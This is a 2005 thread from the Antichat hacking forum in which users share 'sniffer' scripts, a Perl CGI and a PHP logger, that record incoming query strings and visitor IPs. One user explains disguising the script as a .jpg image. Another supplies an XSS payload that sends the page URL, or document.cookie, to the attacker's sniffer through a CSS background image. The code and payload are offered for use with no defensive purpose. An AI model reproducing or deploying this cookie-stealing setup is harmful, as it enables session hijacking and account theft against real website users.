Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   С/С++, C#, Delphi, .NET, Asm (https://forum.antichat.xyz/forumdisplay.php?f=24)
-   -   cgi-Сниффер (https://forum.antichat.xyz/showthread.php?t=4735)

Майор 13.01.2005 02:23

cgi-Сниффер
 
Здесь на античате привидён пример сниффера :
#!/usr/bin/perl

#путь к лог-файлу
$LogFile="log.txt";
#максимальное число записей в лог-файле
$mlength=50;

#делаем редирект на картинку
print "Location: image.gif\n\n";

#читаем CGI запрос
read(STDIN, $input, $ENV{'CONTENT_LENGTH'});
$input = $ENV{'QUERY_STRING'} if $ENV{'QUERY_STRING'};
$input =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;

#получаем время запроса и HTTP_REFERER
$now_string = localtime;
$ref = $ENV{'HTTP_REFERER'};

#читаем лог-файл в массив
open (LOG,"$LogFile") || die "Can't Open $LogFile: $!\n";
@LOGtext=<LOG>;
close (LOG);

#открываем на запись лог
open (LOG, ">$LogFile");

#сохраняем данные запроса
print LOG "[$now_string] IP=$ENV{'REMOTE_ADDR'} REFERER=$ref QUERY=$input\n";

#сохраняем остальные логи, так что бы длина лог-файла не превышала mlength
$counter=1;
foreach $LOGitem (@LOGtext)
{
if ($counter<$mlength){ print LOG "$LOGitem"; };
$counter++;
};

#закрываем лог
close (LOG);

exit;


Он работает, но только если к нему обрашаться, как http://adres.ru/snifer.cgi
Как зделать, так чтоб его можно было открывать как картинку ???

Algol 13.01.2005 04:07

Цитата:

Как зделать, так чтоб его можно было открывать как картинку ???
Расширение заменить на jpg, закинуть в cgi-bin (либо настройть веб-сервер так, что бы jpg считались скриптами), и поставить атрибуты доступа 755

Майор 13.01.2005 17:27

Цитата:

Сообщение от Algol
Расширение заменить на jpg, закинуть в cgi-bin (либо настройть веб-сервер так, что бы jpg считались скриптами), и поставить атрибуты доступа 755

Спасибо!
Возможно подобия такого снифера написать на php ?

Algol 13.01.2005 19:07

Возможно, но если хочешь с расширением jpg, то придется менять настройки сервера

Fr1k 28.01.2005 18:01

Хмм... а помоему про написать на пхп... ВОТ я себе написал снифер на ПХП и никаких проблем

SHiTS 28.01.2005 18:45

не поделишься сниффом?))

Fr1k 29.01.2005 14:49

для нчала держи простой сниф
я думаю разберёси... если нет пиши

<? $datafile="data.txt";
$snif=$_SERVER["QUERY_STRING"];
$snif=urldecode($snif);
$ip=$_SERVER["REMOTE_ADDR"];
if($snif=="snif") {
$f=@file($datafile);
print "<table border=1 width=100%><tr><td width=30%>Время</td><td>Данные</td><td width=20%>ИП</td></td>";
$i=1;
if($f) foreach($f as $v) {print "$v";$i++;}
print "$i lines total</table>";
} else {
$f=@file($datafile);
$datas=count($f);
$fw=fopen($datafile,'w');
fputs($fw,"<tr><td>".date ("l dS of F Y h:i:s A")."</td><td>$snif</td><td>$ip</td></tr>\n");
if($datas<40){if($f) foreach($f as $v) fputs($fw,$v);
}else{
for($i=0;$i<40;$i++) fputs($fw,$f[$i]);}
fclose($fw);}?>

Fr1k 29.01.2005 14:52

отсылка ни него идёт типа

<script>a='url(\"http://путь_к_сниферу?'+location.href+'\")';d ocument.all.tags('font')[0].style.backgroundImage=a;</script>

если получаем куки то вместо location.href - document.cookie
просмотр и тога как заметил в снифере имеет такой вид http://твойсайт/снифер.php?snif

SHiTS 29.01.2005 15:00

если бы у меня был Си, а то только Delphi

Fr1k 29.01.2005 16:27

а зачем тебе Си???? сниф на ПХП написан


Время: 12:53